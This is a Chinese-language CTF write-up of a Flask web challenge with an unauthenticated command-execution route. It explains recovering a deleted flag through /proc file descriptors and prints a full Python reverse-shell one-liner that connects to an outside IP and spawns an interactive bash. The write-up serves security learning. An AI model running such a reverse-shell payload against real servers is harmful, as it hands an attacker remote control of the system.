V&N战队考核+招新,赵师傅出的Web题,做着感觉有点顶,趁热打铁写write up记录一下考察的知识点
这道题说是CheckIn其实还是有一定难度的(也可能是我太菜了),进入题目直接给出了flask的路由:
from flask import Flask, request import os app = Flask(__name__) flag_file = open("flag.txt", "r") # flag = flag_file.read() # flag_file.close() # # @app.route('/flag') # def flag(): # return flag ## want flag? naive! # You will never find the thing you want:) I think @app.route('/shell') def shell(): os.system("rm -f flag.txt") exec_cmd = request.args.get('c') os.system(exec_cmd) return "1" @app.route('/') def source(): return open("app.py","r").read() if __name__ == "__main__": app.run(host='0.0.0.0')
可以看到flask是包含“/”与“/shell”两个页面的,其中Flag储存在flag.txt中,"/shell?c=$command"是可以执行代码的
但是一旦访问/shell 代码又会“rm -f flag.txt”删除flag.txt,导致我们无法直接cat /flag.txt(其实这里就算不删文件也不能直接cat,因为这里是没有回显的)
这里引出我们的第一个知识点:文件描述符
什么是文件描述符:内核利用文件描述符来访问文件。文件描述符是非负整数。打开现存文件或新建文件时,内核会返回一个文件描述符。读写文件也需要使用文件描述符来指定待读写的文件。
例如Python中,当我们open()函数打开一个文件时便创建了一个文件描述符,而后对这个文件描述符使用read()函数便是读取文件描述符中的内容,close()函数用于关闭/销毁这个文件描述符。
文件描述符储存在什么地方:/proc/<pid>/fd<id>
也就是说,我们可以通过cat进程中的fd来获取到文件描述符。
重新回到题目,重点关注题目第5行代码:
flag_file = open("flag.txt", "r")
这里使用open()打开flag.txt是优先于删除flag.txt的,也就是说在flag.txt被删除前已经建立了文件描述符,我们通过读取这个文件描述符的内容就可以获得Flag。
但是对"/shell?c=$command"进行测试后发现这里是没有回显的,所以此时想到的办法就是我们的第二个点:反弹Shell
建立反弹Shell常见的命令有bash、curl、nc、python -c等,但是这里测试后发现这些常用的命令都被禁了,无法反弹Shell
最后想到了python3 -c “command”执行命令,测试后发现python3可以执行,直接构造Shell:
python3 -c ' import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("39.105.*.*",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/bash","-i"]); '
带到参数c中请求,在我们的服务器上便可以得到一个交互式的Shell
然后cd进/proc目录,依次cd进<pid>(就是那些数字)目录中,使用ls fd得到id
依次尝试cat fd/0...直到得到Flag